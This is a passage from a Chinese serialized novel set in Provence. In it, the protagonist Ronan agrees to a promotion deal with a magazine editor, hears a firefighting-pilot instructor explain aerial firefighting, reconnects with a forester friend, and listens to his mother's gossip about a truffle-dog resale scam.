持续了一个月之久的戈尔德系列艺术活动终于画上了圆满的句号。 普罗旺斯艺术界赢了,罗南赢了,卢尔马兰也赢了这对很多人来说都是一次圆满又意义深刻的活动。 但这次系列活动给罗南带来的影响才刚刚开始。 就像是布兰科说的那样——罗南、佐伊和巴蒂在戈尔德带来的连锁反应还远远没有结束呢。 罗南和伊内斯的见面时间经历了两次推迟,一直到戈尔德恢复了往日的平静,两个人才见上面。 理由是这位米切兰杂志社的主编在戈尔德有太多的活动要参与,有太多的拍卖会要出席,有太多的酒局要应酬。 好不容易约定了日子,一见到伊内斯,罗南就开玩笑的‘抱怨’: “公事都办完了,才轮到我?” 伊内斯非常主动的给了罗南一个热情的拥抱,拍着他的后背说: “我如果说,见你也是‘公事’呢?” 罗南后退了一步,撇着嘴说: “那我更伤心了,最后才轮到我?” 伊内斯的墨镜下,露出了在平时工作中很少出现的和蔼笑容: “就是因为你是最重要的,所以才留到最后见,快走吧,我约了一个非常不错的餐厅。” 罗南以为伊内斯在开玩笑。 他和会长有什么公事可聊? 直到他们来到了一个非常富丽堂皇、一看就是聊公事专用的餐厅,且服务员把他们带到了一个包厢里,罗南才相信伊内斯真的要和他聊公事。 伊内斯并不是那种拐弯抹角的人,点完单,她马上说出了见罗南的目的: “我需要你和佐伊的帮助。” 伊内斯是大名鼎鼎米切兰杂志的主编。 米切兰杂志的刊物涉及多个领域,是南法受众最大的本地纸媒。 这么大的人物要寻求我和佐伊的帮助? 罗南马上正色道: “什么样的帮助?” 伊内斯把墨镜放到餐桌上,恢复到了她平日里的严肃样子: “米切兰杂志社要进军艺术领域,我们马上要推出一本名叫《普罗旺斯艺术评论》的新杂志,定位为‘艺术界的米其林’。” “啊?”罗南不禁大惊失色的重复了一遍,“艺术界的米其林?” 突然,罗南想到了第一次听到米切兰杂志社的场景。 去年复活节后,他在梅纳村的摊位出现在了一本名叫《密法尔指南》的普罗旺斯本地旅行杂志上,这本刊物就是效仿米其林的《绿皮书》和《红皮书》做的,而它的出版方就是米切兰杂志社。 这样看来,米切兰要做‘艺术界的米其林’也就不难理解了。 “董事会认为普罗旺斯艺术领域中有许多东西可以挖掘,而现在入场正是一个好的时机。”聊工作的伊内斯有一种让人无法直视的锐利,“所以我来了戈尔德,并用我的实际行动告诉普罗旺斯艺术界——米切兰杂志社来了。” 罗南没有参与后半程的戈尔德艺术活动,但巴蒂和卡福每天都会来戈尔德,‘卢尔马兰手工艺合作社’的摊子到现在还没撤呢。 每次见到巴蒂,他都会告诉罗南一些戈尔德发生的新鲜消息,而每一次其中一定会有关于伊内斯的。 伊内斯或者说她代表的密切兰杂志社在戈尔德的存在感太高了。 为了让罗南快速理解,伊内斯简单的给他介绍了一下这个新杂志的内容: “我们会沿袭‘米切兰’的风格,列出普罗旺斯境内前100位艺术家的名单,这个名单每年更新一次,如果你看过《密法尔指南》,应该能理解什么是‘米切兰’风格。” 罗南当然看过《密法尔指南》,而且非常爱看。 因为里面把每一个餐厅的故事都讲的格外‘生动’,罗南认为那比八卦杂志还好看。 不过这些不是重点。 重点是—— “用哪些维度评选出前100名艺术家?”罗南期待的问。 ‘米切兰’风格很受普罗旺斯本地人喜爱。 阿维尼翁和马赛火车站里都有志愿者免费给游客发放《密法尔指南》,他们认为这是本地最权威的旅行杂志,没有之一。 这同时体现了米切兰杂志社在普罗旺斯的雄厚实力,在某些层面上看是垄断式的。 如果有幸能进入前100艺术家.将收获无数的曝光。 罗南当然想要上这个榜单,而且他想让佐伊和巴蒂一起上,所以好奇评选维度有哪些。 伊内斯非常直接,直接到罗南害怕。 她没有任何情绪起伏的说: “你不用管我们用什么维度评选,只需要知道,你和佐伊一定会上.而且我希望你们能去到很靠前的位置,罗南,这就是我这次找你的目的。” 罗南紧张的看了一眼包厢门有没有关紧。 上帝,伊内斯要‘捧’他和佐伊吗? 第348章 伟大的会长! 伊内斯的言语很简练,让罗南很轻易的理解了她想要表达的东西: “米切兰杂志社做旅游起家,但之后我们在娱乐、时尚和家居等领域都取得了不俗的成绩,缘由是我们习惯深度捆绑一些行业内的重要人物。” “你应该知道爱埃莱娜·格里莫吧?”伊内斯突然抬眉看向罗南,“她是被我们的杂志一手捧起来的,类似的例子还有许多,很多人都在我们的帮助下,成为了普罗旺斯家喻户晓的明星或者行业标杆人物。” 埃莱娜·格里莫是普罗旺斯本土非常有名的一位钢琴家。 罗南听佐伊说过,她是在1985年前后突然火起来的。 伊内斯给她自己和罗南先后倒了一杯酒,罗南想要把酒瓶抢过来,由他来倒被伊内斯拒绝了: “米切兰杂志社在艺术领域同样需要找到几位深度合作的人物,并成为互相成就的关系,我认为没有比你和佐伊更合适的人选了你们符合一切成名的条件。” 当董事会告知伊内斯米切兰要进军艺术领域时,她的第一反应是抗拒。 媒体离不开故事,故事离不开人。 但艺术家这个群体很难沟通和控制,有的性格像疯子一样,有的一头钻研艺术不问世事,还有的不屑于配合他们这种资本化的方式想深度绑定几个合适的艺术家非常困难。 伊内斯都能预想到未来一年她的日子会有多么难过了。 但董事会不想错过艺术资本化的浪潮,执意要进军这个领域,伊内斯只能硬着头皮去了戈尔德。 没想到在戈尔德发现了大大的惊喜! 罗南居然是艺术家而且他身边还一个艺术家的女朋友? 罗南和佐伊要长相有长相、要实力有实力、要人气有人气、要故事有故事、要话题度有话题度.还是情侣关系。 伊内斯认为罗南和佐伊距离真正的成功只差一点点背景和推力,而这正是她所拥有的。 最重要的是,罗南是伊内斯的‘自己人’。 她知道罗南是一个可靠的‘合作伙伴’,聪明的罗南肯定会珍惜这个机会。 伊内斯对面,罗南的脑袋里已经转过了无数的可能性。 最初他为什么要接触艺术? 因为艺术和粉红酒息息相关,是其中的关键。 但凭心而论,罗南现在只有让粉红酒在艺术家中流行起来的思路和办法,对把粉红酒推广向普罗旺斯大众没有任何头绪。 粉红酒真正的走入大众,应该是在很多年后发生的事情。 到了21世纪,是那些戛纳的女明星们带起了喝粉红酒的风潮,之后法国政府将粉红酒誉为唯一可以拯救法国葡萄酒行业的‘救生艇’。 如果伊内斯所说的是真的,米切兰杂志社一手捧起了许多普罗旺斯本地明星那么和她合作的自己和佐伊,有可能会把这个契机的时间提前吗? 罗南不确定这是否能成功,但这是现下唯一可以尝试的路径。 伊内斯的合作邀请,让罗南接下酒庄的决心更加坚定,他又多了一丝成功的可能! “我和佐伊需要如何做?”罗南表明了他的态度。 伊内斯没有表现出任何意外,似乎早就猜到了如此: “上我们的杂志、参加我们举办的活动、参加我们希望你们去参加的活动,并在尽可能多的场合表达出和‘米切兰’杂志社的友好关系,你们只需要做这些,其他的交给我。” 罗南斟酌了一会,觉得这些都是可以提高她和佐伊曝光度的事情,笑着耸肩: “我找不到任何拒绝的理由” 伊内斯笑着举起酒杯,做出了要和罗南碰杯的动作,以庆祝他们顺利的达成了一致: “我会帮助你们成为普罗旺斯最炙手可热的艺术家。” 这简直是‘天上掉馅饼’,傻子才会拒绝! 罗南和伊内斯碰了一下杯子,笑着摇了摇头,坦诚的说: “不只是为了成为炙手可热的艺术家,也是为了粉红酒也许你不相信,我成为艺术家有很大一部分原因是因为粉红酒,你知道的,这个群体是普罗旺斯对粉红酒接受度最大的一群人,我必须拥有能影响他们的能力。” 从两个人坐到这个包厢起,伊内斯始终是一副‘胸有成竹’的样子。 罗南的反应、罗南的状态、罗南的问题和罗南的决定全部是伊内斯早就猜到的。 和那些‘老滑头’比,罗南在伊内斯面前简直是一个‘可爱宝宝’。 但罗南说出的这句话,是伊内斯打死都没想过的。 居然还有粉红酒的原因? 罗南果然是协会里对粉红酒最狂热的人! 随即伊内斯脑海中闪过了那个在聚会上,拎着酒瓶子说“我的梦想是让粉红酒在普罗旺斯像其他酒一样得到重视”的坚定身影。 伊内斯暂时褪去了米切兰杂志社主编的冷酷外衣,以‘沃克吕兹省粉红酒爱好协会会长’的身份对罗南保证: “我很庆幸能认识你.罗南,我会尽我所能的帮助你们成为普罗旺斯家喻户晓的艺术家、提高你们的影响力,从而完成你的目的.我向你发誓。” 我没有看错人! 罗南把杯中粉红色的液体一饮而尽,感激的说: “谢谢会长。” 整顿饭吃得很愉快。 聊完正事,罗南和伊内斯像是许久未见的老朋友一样,分享起近期自己身上发生的事情。 罗南跟伊内斯说,下个月他有可能会开拓编织家具的业务,要趁着戈尔德的这股热度把‘卢尔马兰手工艺合作社’的名字尽可能多的打出去。 伊内斯从她的角度给了罗南很多有用的提议,听了这些意见后,罗南觉得他对未来更有信心了,只等松露采摘季结束去‘大展拳脚’。 伊内斯主要讲的是她最近筹备《普罗旺斯艺术评论》的琐事,这个新杂志耗费了她非常多的精力,以至于许久没有召集聚会。 “2月肯定没有时间召集聚会了,最近要复盘戈尔德的收获和整合资源,月底我要去给《普罗旺斯艺术评论》聊赞助,估计没有休息的日子了。” 罗南意外的问: “您要自己去拉赞助?” 罗南之前并没有和伊内斯聊过太多关于她工作的事,只知道她是米切兰杂志社的主编。 刚刚两个人达成‘合作意向’后,罗南问,是不是要咨询下其他人的意见,不可能他们俩一顿饭就把这么重要的合作定了吧? 伊内斯用非常平静的语气说,她的决定,就是米切兰杂志社的决定。 言外之意就是不用问其他人了。 罗南再一次惊叹于会长的实力! 但那么大的‘领导’,亲自去聊赞助? 伊内斯长长的叹了一口气: “这个客户比较特殊,我必须亲自去,怠慢不得。” 突然,她有些期待的对罗南说: “我们策划给《普罗旺斯艺术评论》做些不一样的商业尝试,我给你讲讲?” “好啊。”罗南连连点头。 和伊内斯接触可以让他学到很多新鲜的知识。 伊内斯娓娓道来: “《普罗旺斯艺术评论》的第一期预计在6月发刊,那之后的几个月普罗旺斯的各种鲜花开的正盛,我们给一个香水客户包装了一份‘嗅觉艺术’的商业方案,6月玫瑰花开,杂志内页喷洒他们玫瑰主题的香水,7月茉莉花开再喷茉莉主题的.” 听着听着,罗南一怔。 香水客户还需要伊内斯亲自去拜访。 不会是? 在伊内斯停顿的某个间隙,罗南试探性的问: “您要亲自拜访的是福克斯家族吗?” 伊内斯没有什么情绪的点头: “没错,是格拉斯的福克斯家族,我们希望《普罗旺斯艺术评论》的开刊赞助能找到这种影响力巨大的客户,这有助于未来的发行。” 罗南笑着说: “太巧了,我过一阵子也要去格拉斯看福克斯家族的香水博物馆。” 伊内斯被罗南对粉红酒的热爱所感动,真心喜欢这个孩子,也心甘情愿的对他提供帮助,想了一下,她问罗南: “如果你不着急,等到月底和我一起去格拉斯?我找人带你深入探访格拉斯和福克斯家族的香水业务。” 罗南不假思索的说: “我不着急,那太感谢您了。” 佐伊未来一个月都要做帕特里西亚小姐的订单,无法离开卢尔马兰,罗南正苦恼于要自己去格拉斯呢。 而且伊内斯一定可以帮助罗南更加深入的了解博物馆-香水的经营模式。 随着在普罗旺斯居住的时间增加,罗南愈发庆幸自己加入了沃克吕兹省粉红酒爱好协会,并认识了这些大人物。 雅克先生给了罗南许多松露和餐厅经营上的帮助、阿斯特丽德多次给罗南重要指引、伊内斯现在又是罗南做粉红酒生意上重要的帮手。 诶.对了。 会长知不知道阿斯特丽德是福克斯家族的人? 正在罗南低头沉思这个问题时,伊内斯用讨论‘这个酒好不好喝’的语气淡淡的说: “今年最新一版的《密法尔指南》要发行了,我把你的餐厅加进去了。” 罗南又惊又喜,今天不知第多少次感激的举起酒杯: “谢谢会长,谢谢!” 在这些大人物的羽翼下发展太幸福了!! 第349章 普罗旺斯空中消防队 《密法尔指南》的最新版会随着游客一起在春天抵达普罗旺斯。 届时普罗旺斯几个大省内的火车站和长途汽车站等重要交通枢纽附近,都将有志愿者向来自世界各地的游客免费发放它。 伊内斯告诉罗南,他的餐厅不仅会在今年登上这个普罗旺斯本地最权威的旅行杂志,他在梅纳村的摊位信息也保留了下来,并且加重了篇幅。 《密法尔指南》之所以在普罗旺斯如此受欢迎,是因为其中记录的餐厅、商铺和酒店信息极其详细,看完那短短的一两页介绍,像是看完了一篇短篇故事会一样精彩。 里面不仅有老板的信息、老板家人的信息、服务员的信息和主厨等信息,连厨师和他妻子婚姻是否幸福也会记录进去。 罗南清楚记得,两年前那版的《密法尔指南》上,把雅克先生描述成了一个外表谦逊、内心极其脆弱敏感、和妻子关系和睦的幸运家伙。 最新版的《密法尔指南》上会如何写我呢? 问出了心中所想,伊内斯用‘专业’的口吻说: “一切都会向利好你和佐伊的方向推进,你要知道,我们的合作关系不仅仅局限在一本《普罗旺斯艺术评论》,你们在和米切兰杂志社合作。” 伊内斯的话让罗南安全感满满。 现在只需要静静等待会长伊内斯种下的‘种子’在春天破土而出了。 戈尔德系列艺术活动对罗南的影响来自方方面面。 他个人、餐厅和手工编织等方面都取得了巨大的收获,不过他个人和编织业务更加聚焦于未来的长线发展。 但餐厅的收益是短期内就能体现出的。 餐厅不仅成了许多游客的打卡圣地,还聚集来了普罗旺斯更多的艺术家.同时在吕贝隆本地的知名度也提升了。 后者最大的体现是,无论罗南从山里回到卢尔马兰的时间是5点、6点还是7点,餐厅里总会‘座无虚席’。 外地游客一定会在下午5点前离开卢尔马兰,开车的人不想在黑天走他们不熟悉的山路,没车的人要早早的找顺风车离开这里。 夜晚降临后还能在餐厅里吃饭的人,一定来自卢尔马兰本村或者对山路相对熟悉的吕贝隆本地人。 本村人罗南都认识,但晚上的生面孔也占了很大的比例。 这代表有越来越多普罗旺斯本地人会专程来卢尔马兰吃饭,就比如冯珍上一次看到的那两个来交易松露的家伙。 而某一天,罗南晚上6点多推门进入餐厅,发现好几个农夫和村民正围着一桌陌生人。 见罗南回来,特奥兴奋的招手把他叫过去: “快来快来,你餐厅来了一个消防飞机的飞行教官,他正给我们讲如何能开上水上飞机呢。” 消防飞机是普罗旺斯的一大特色,每当吕贝隆的森林里起了火,这种以鹈鹕为灵感设计的飞机便会第一时间出现在头顶。 去年11月,纵火犯在鲁西永附近的森林放火,十几、二十架红黄相间的消防飞机在吕贝隆和地中海之间往返了整整一个下午。 许多吕贝隆山村里的孩子没见过载客飞机,但消防飞机是他们每年都能亲眼看到的。 餐厅果然‘出息’了,居然有消防飞机的飞行教官来了? 罗南把装松露的袋子放到收银台,之后去到特奥的身边,看到一个身形挺拔、声音洪亮、眉毛像利剑一样的老先生正在给大家讲空中救火的‘由来’: “空中救火的设想出现在五十年代,美国和加拿大的研究显示,由飞行中的飞机从空中灌水,水柱不会被风吹散,会落在一片还算集中的区域,换句话说,那就像是可以瞄准火焰的水弹。 测试的消息横渡大西洋,被法国一位名叫阿瑞吉的长官听到了,由此法国成立了一支专业的飞行队,飞机配备消防设施,以应付每年在法国南部各地的森林火灾。” 皮埃尔双手抱胸,打断了这位先生: “五十年代就有了吗?但我第一次看到消防飞机是在十几年前。” 那位老先生喝了一口葡萄酒,继续说道: “一开始,这支队伍只有两架卡特利纳水上飞机和八位队员,根本接不了太重的任务,但现在马赛的马里尼昂机场里停着二十八架‘蓄势待发’的消防飞机,队员也已增至一百四十八名,包括行政人员、维修工程师、专业技工、导航人员,还有飞行员。” 特奥是个机械控,不止迷恋汽车,也迷恋飞机。 他着急的问: “如何能当上消防飞机的飞行员?我还有可能吗?” 哪个男人不想翱翔在天空上呢? 农夫们奚落特奥: “你在做梦吗?你能考到飞行执照?” 特奥嘴硬的说: “滚滚滚,你们知道个屁,卢卡斯带我在马赛坐过直升机,开飞机并不难。” 那位老先生看了一眼特奥的脸,似乎在猜测他的年纪,随后摇头道: “想加入消防飞行队可不容易,申请人一般得年满四十岁,具备十二年的专业经验、三千小时的飞行时数以及有效的IFR资格,IFR是仪器导航飞行资格证书,只比顶尖航空公司飞行员所需资格低一级,每一百名应征的飞行员,只有一位会被录用,而且必须从最基础开始受训。 首先要接受一年的新生训练,观摩学习,第二年担任消防飞机的副驾驶,其后七至十年负责单独驾驶较小型的‘追捕者’飞机,最后晋升为消防飞机的机长,很少有人在五十岁以前登上这个尊贵的位置。” 周围的男人们发出一连串遗憾的抱怨声。 看来这辈子和消防飞机无缘了。 那位老先生不想熄灭大家的热情,友好的补充道: “不要灰心小伙子们,你们可以去申请做消防员试试,50岁以下都可以申请。” “消防员年纪放宽了?”这次发出疑问的是罗南。 圣诞节前,吕贝隆消防队来罗南家要‘新年红包’,罗南说他小时候的梦想是当消防员并不是假的,那真的是他小时候的梦想。 但他记得在法国申请做消防员的年纪上限是25岁。 那位老先生的有些无奈的耸肩: “只是普罗旺斯地区内的消防员年龄放宽了,从18-25岁改为了18-50岁,普罗旺斯全境的森林防火等级进行了提升,现有的消防员数量不够用,需要扩编,这是那位新上任的普罗旺斯森林局领导强烈要求的,下周一我们水上飞行队也要和这位新领导见面了不知道他会不会也给我们提出新的‘意见’。” 周围几位农夫同时笑了起来,特奥自豪的拍了下胸口: “我们年初给国家森林局‘打过工’!” 那是许多农夫这辈子最风光的经历! 老先生意外的看了一圈这几个其貌不扬的农夫,笑着说: “普罗旺斯森林局的新领导也是从国家森林局调来的,一上任他就对普罗旺斯森林局进行了翻天覆地的‘改革’,听说是从巴黎带来的新管理经验。” 国家森林局、巴黎.种种关键词让罗南想到了一个人。 “这位普罗旺斯森林局的新领导叫什么?”罗南惊讶的问。 那位飞行教官回忆了一下: “好像叫布鲁诺?” 第350章 卧虎藏龙的卢尔马兰 听到熟悉的名字,罗南和一众农夫突然‘鬼喊鬼叫’起来,把老先生吓了一跳。 普罗旺斯森林局是国家森林局的地方分支,两者既是从属关系,又有独立性。 布鲁诺做完吕贝隆的借调工作,本该回到巴黎的国家森林局‘升职加薪’,这是所有人都知道的事。 但现在他突然留在了地方森林局并且看起来‘升’了更多! “你有头儿的电话吗?”特奥兴奋的问罗南,“我们问问他怎么回事,顺便恭喜他一下啊。” 大家一起工作了近两个月,还一起度过了圣诞节和春节两个重要节日,许多农夫一想到布鲁诺要离开普罗旺斯就很舍不得。 现在布鲁诺留在这里工作了,这是天大的好消息! 罗南有些遗憾的说: “布鲁诺在吕贝隆工作时居所不固定,我只有他巴黎的电话。” 布鲁诺时不时就会来一次罗南的餐厅,不过这样一想,他已经将近一个月没有出现过了,想必是在处理工作上的事。 特奥想都没想,直接向着收银台走: “她妻子一定知道他的新联系方式,走,我们去问她!” 普罗旺斯人性格直接且热情。 在他们的世界里,没有上下级的关系,也没有合适不合适,现在农夫们想布鲁诺了,就必须要找到这个人! 必须!! 但巴黎人的性格腼腆啊. 罗南拨打了布鲁诺在巴黎的电话,顺利找到了他的妻子。 介绍自己身份并说明来意后,他的妻子意外的说: “罗南?记得,我当然记得你,啊?啊.特奥、康奈尔、爱因斯——” 农夫们对着听筒大声通报自己的姓名,罗南担心这会吓坏电话那端的人,没想到布鲁诺的妻子表现的比布鲁诺‘外向’多了,一一与大家打招呼: “记得,我记得你们每一个人,大家好啊!我现在就把布鲁诺新的联系方式告诉你们——” 罗南以为布鲁诺的妻子是因为做‘售货员’的原因,所以能和这些热情的农夫打成一片,但他找到布鲁诺时,这个家伙也变热情了: “伙计们!伙计们!!等我忙完手里的工作就去卢尔马兰找你们!你说什么特奥?我怎么可能喝不过你” 餐厅的电话成了‘公用电话’,农夫们排着队和布鲁诺聊天,表达对他的思念和恭喜。 一直到餐厅快打烊了,罗南才抢到话筒。 他有些心疼的对这位老乡说: “你还好吗伙计?大家太想你了,而且为你能留下而开心。” 布鲁诺的笑声极富有穿透力,并且听不出疲惫的情绪: “我好的很,能和朋友们聊天我开心还来不及呢,你不知道我最近过的有多寂寞.我妻子和孩子要下个月才能来普罗旺斯。” 罗南更加惊讶了: “你妻子和孩子也要来普罗旺斯?” 布鲁诺开心的说: “是的,我们全家决定要搬来普罗旺斯生活,我的妻子和孩子都很喜欢这里的生活气氛,这要感谢你啊罗南,春节给我们的印象太深刻了,我妻子说,这种和朋友们一起把酒言欢的感觉在巴黎永远体会不到,她在这里找到了失去了许久的开心和热情。” “普罗旺斯欢迎你,我的朋友!”罗南衷心的送去祝福。 “你现在住在马赛吗?”罗南关心的问。 前几个月布鲁诺去哪里做矮木丛清扫就住哪里,但是听农夫们说,普罗旺斯森林局的办公地点在马赛。 布鲁诺一连说了好几句‘不’,似乎很抵触那个地名: “我们不想继续住在城市里,我现在暂住艾克斯,等我妻子和孩子下个月处理完巴黎的事情过来,我们会在吕贝隆看房子。” 罗南更惊讶了: “要做邻居了吗?” 布鲁诺哈哈大笑的说: “说不定是一个村的邻居呢,听说我想要看吕贝隆的房子,很多森林局的同事都建议我去卢尔马兰看看,我说你们那个地方最近发生什么事情了吗?上一次去卢尔马兰,我的同事们评价说那是个‘偏僻’的村子,现在他们改口说——卢尔马兰值得投资。” 罗南感触颇深的说: “这可就说来话长了,等有机会见面我慢慢讲给你听.嗯,我对这件事还是有一些发言权的。” 布鲁诺刚刚入职,有许多事情要忙,暂时无法抽身来卢尔马兰和罗南见面。 见面的时间虽然还很遥远,但有件事布鲁诺还是挺着急的。 他用恳求的语气说: “罗南,你是我在普罗旺斯认识的‘最有本事’的朋友,我想请你帮我留意一下我妻子能做的工作.她是个很能干的人。” 罗南不假思索的答应下来: “我会帮你留意的。” 农夫们和布鲁诺打了好久的电话。 来吃饭的飞行教官知道了这帮人和那位新上任的森林局领导是朋友关系。 结账离开餐厅,去停车场的路上,这位老先生背着手,看着两侧卢尔马兰的建筑对同行的人说: “卢尔马兰真是‘藏龙卧虎’啊。” 同行人笑着说: “我刚刚还在餐厅里看到了马赛警局的人,卢尔马兰这个小村子现在有点恐怖了啊。” 老先生用开玩笑的语气说: “哈哈——说不定再过几年,吕贝隆的金三角要变成金四角了。” 随着卢尔马兰在本地人中的知名度提升,来罗南餐厅吃饭的人群愈发‘丰富’。 以前坐在收银台后看戏的冯珍大部分时间只能听到些坊间八卦,现在她比《普罗旺斯日报》还专业。 大事、小事、天下事就没有她不知道的事。 时间一长,在松露季的尾巴努力赚钱、以至于没有时间看报纸的罗南,每天回来见到母亲都会习惯性的问一句: “普罗旺斯又出现什么大新闻了吗?” 冯珍很满意儿子给她的定位和他虚心求教的表现,热情的回答他: “最近普罗旺斯最大的新闻一定是松露啊,采摘季眼看着就要结束,但松露价格直逼5000法郎/公斤,简直要涨疯了.不管是艺术家、商人和当官的,坐到一起吃饭一定会聊到松露的话题。” 罗南喝了一口水,看着餐厅里的客人们,表情不算多好的点了点头。 普罗旺斯现在太缺松露了。 那些巴黎的有钱人可不会管什么寒潮、什么霜冻,他们只知道意面、牛排和甜品上应该出现这个美味的东西。 卢卡斯每过两天就要给罗南更新一次松露价格。 这导致全普罗旺斯人都行动了起来,出去找松露。 罗南独享了一年的那片‘秘密花园’最近已经有其他人活动的痕迹了。 松露绝对是普罗旺斯最赚钱的生意、没有之一! 下一秒,冯珍用极富有诱惑力的语气对罗南说: “我最近听到了几个关于松露的有趣故事,你要听听吗?” 第351章 松露趣闻 罗南永远不会忘记,因打扰了母亲讲八卦的心情,他用两根最新款的口红才抚平了她的情绪,且这么久过去了,母亲仍不肯告诉他‘五个人同时自首’悬案的结局。 见冯珍一幅话到嘴边、‘不吐不快’的样子,罗南从后厨拿来了甜品,还沏了一壶母亲最喜欢的茶水,做出了一幅‘我今天必须要好好听故事’的架势。 冯珍开心坏了。 上一次罗南这么积极的听她讲故事还是在十几年前。 今天,她必须要超常发挥,让二十多岁的儿子继续沉迷于自己的故事中。 像播音员一样空灵的声音钻入了罗南的耳朵: “第一个故事,要从一只名叫小路易的松露犬说起——” 年初在阿尔勒出现了一名非常厉害的松露猎人。 寒潮侵袭普罗旺斯后,原先的松露猎人每天只能从山上带下一把或者十几棵松露,而这位本职工作是泥瓦工、上山只是想要碰碰运气的幸运家伙,每天能背着满满的一包松露出现在阿尔勒老城区里的某个咖啡厅。 他不是职业松露猎人,也不懂如何交易,所以想要把松露直接卖给咖啡厅或者在这里吃饭喝酒的人。 大家见他每天能带回来这么多松露,问他是如何做到的,他指了指自己脚下的比格犬,说是‘小路易’带他找到了那些松露。 事实上,这只比格犬本不叫这个名字,因为它找到了许多松露,所以主人给它改名叫‘小路易’,以说明它鼻子价值连城。 “好吧,我原谅它和我同名了。”来接儿子维埃里回家的路易路过收银台,听到一只狗也叫‘路易’便好奇的停了下来,“那确实是一只价值连城的鼻子,这个阿尔勒的家伙要发达了。” 在此刻的普罗旺斯,卖再多的房子都不如拥有一只优秀的松露犬来的珍贵。 大家都在传,未来黑松露的价格一定会超过6000法郎/公斤,‘黑黄金’比黄金还要贵了! 罗南羡慕的连吃了好几口甜品,以抑制自己的口水流出。 又是一只厉害的松露犬.什么时候能轮到他拥有一只呢? 冯珍打断了罗南和路易的思绪,突然压低了声音,眯着眼睛给两位听众说: “继续听我讲下去吧——” 小路易的名字不到一周就传遍了阿尔勒老城区。 无数餐厅老板和咖啡厅老板每天去蹲守小路易和它的主人,想要从他们手里买到新鲜的松露。 而一些松露猎人对小路易觊觎不已,每天都会有许多人给它的主人开出有诱惑力的价格,想要买下这只狗,不过那都遭到了狗主人的拒绝。 直到有一天,一个留着大胡子的男人来到咖啡馆,把五叠扎得结结实实、厚得像砖头似的钞票放在桌上——那是整整五万法郎! 狗主人一开始还很犹豫,不过他有自己的本职工作,而且也并不喜欢每天钻进山里,一番挣扎之后,他接过了那笔钱。 就这样,‘小路易’跟着新主人走了。 “5万法郎买一只狗?!”经过的特奥没前没后的只听到了这一句,惊呼出声。 买狗的人疯了? “5万法郎就卖了?!”听完了后半段全部故事的路易则觉得狗主人疯了。 怎么5万就卖了呀! 身为一个职业松露猎人,罗南的反应和他们不太一样: “全程都是在阿尔勒的咖啡馆里交易的吗?这么厉害的狗、这么大的松露量如果去卡庞特拉.肯定有愿意出更高价格的人。” 冯珍突然拍了一下桌子,瞪大眼睛对罗南说: “儿子,你说到重点了!” 小路易在阿尔勒老城区的那所咖啡厅消失了,大家都很想它,时不时就会聊起它的‘英勇’事迹——一只狗改变了一家人的命运。 但某一天,小路易又出现在了那个咖啡厅,是新主人带它来的。 大家以为这个家伙出现是想要交易松露,没想到他是来卖狗的。 没错,他想要把‘小路易’卖出去! 新主人说他的妻子患了严重的疾病,需要有人照顾,他无法再进山了。 ‘小路易’实在太有名了,很快找到了第三任主人。 当大家觉得,这一次应该再也见不到它时,它的第三任主人很快又把它带去了咖啡厅! “你们猜这次又是为什么?”冯珍眉飞色舞的问。 听故事的人已经扩充到了五六个,大家都被冯珍有明显抑扬顿挫的声音所吸引。 特奥很有经验的说: “继续向这些人展示自己拥有一只厉害的松露犬啊,卢卡斯就是太低调了,如果我是他,每天都会在卢尔马兰村闲逛,欣赏大家崇拜的目光。” 冯珍喝了几口茶水,咂巴着嘴说: “你白听了这么半天,根本就没听明白。” 路易双手抱胸,想了一会: “我猜是这只狗有些问题。” “什么问题?”周围的人好奇的问。 冯珍笑眯眯的看向把前半身撑在收银台上,表情似笑非笑的罗南: “儿子,你觉得呢?” 罗南憋着笑问母亲: “那只狗现在还在阿尔勒的咖啡厅对不对?” 冯珍吃了一口甜品,终于讲完了这个故事。 事实的真相是,小路易被交易出去后,一颗松露都没有找到过。 它的第一任新主人气冲冲的找到了那个泥瓦工,要求退钱,但泥瓦工让他‘滚’,说他根本不知道如何找松露。 这位有钱的新主人咨询了律师,也报了警,得到的答案是——这个案子属于灰色地带,在法国历史上有详细记录的案例中,没有一例涉及到狗的渎职问题。 你如何能证明卖家把你骗了? 或者开庭时,你想要把狗传唤到证人席? 毫无疑问,这场纠纷只能仰仗一位博学的法官才能解决,并且需要不短的时间。 所以.小路易的第二任新主人出现了。 “该死的,原来是骗局?”特奥觉得自己的智商被人侮辱了,在罗南询问‘所以交易是不是一直在咖啡厅进行’时就应该反应过来啊。 那个人在钻法律漏洞! 路易感叹道: “就像意大利人伪装的白松露在普罗旺斯卖了近一个月才被发现一样,在松露市场巨大的利益面前,大家的心态都发生了变化,愿意花几万块钱买一个有可能的‘成功’,如果是真的,那将收获几十甚至几百倍。” 普罗旺斯松露界的巨大丑闻,在卢尔马兰成了‘家喻户晓’的事。 冯珍撇着嘴说: “对,归根结底还是黑松露的吸引力太大了,吸引到大家愿意铤而走险,明知道是不对的,也想要去试一试。” 大家已经听上了瘾,让冯珍再讲一段。 冯珍很满意自己讲的故事得到了大家的喜欢,得意的摸了几下计算器,似乎在庞大的故事库里找目标: “那我就再讲一个和松露有关的故事,这个故事发生在卡庞特拉北部一个非常偏远的村子里——” 卡庞特拉北部一个非常偏远的村子里有一个老农夫。 他有一块地,离他家有点距离,面积不大,不到两公顷,但上面长满了老橡树。 每年冬天,橡树根部就会长出一些黑松露,靠着这些松露,老农夫下半年不用干活也能过上舒服日子。 他的秘密花园存在了几十年,从来没有人踏足过那里,但在2月初某一天的早上,农夫生平第一次发现橡树下的泥土有被翻动过的痕迹。 他的第一反应是狗或者迷路的猪,不知是哪个小家伙误入这里,偷走了几颗橡树下的松露,因为这里实在太偏僻了,方圆5公里只有十几户人。 可他再往前走了一点.发现土里有被踩灭的烟蒂。 这当然不会是什么流浪猪留下来的,肯定有人来了他的‘秘密花园’。 他觉得天塌了! 默默听着的罗南此刻心也跟着揪了一下。 他的‘秘密花园’同样有了人活动的痕迹!! 现在吕贝隆泥土下的黑松露,像是散发着金钱气味的法郎一样,太迷人了。 松露价格暴涨后,涌入普罗旺斯新的松露猎人可能比房产中介还要多。 极有可能在11月新的松露采摘季开始后,罗南要去更加偏僻的地方寻找新的‘秘密花园’了。 但去哪里呢? 事实上他对吕贝隆的山区并不熟悉。 想到这里,罗南突然有了一个想法。 依靠系统给的大量知识,罗南清楚在哪些海拔范围内、什么样的土壤中和环境下,野生松露的生长概率会增加.布鲁诺是不是能给罗南提供一些帮助、让他精准的定位到更加好的秘密花园呢? 罗南决定下一次见面时尝试着问问。 他们只会讨论土壤和海拔等问题,应该不算是机密。 冯珍的故事还在继续。 老农夫肯定,一定有外人来了他的橡树林,并从下面挖走了松露。 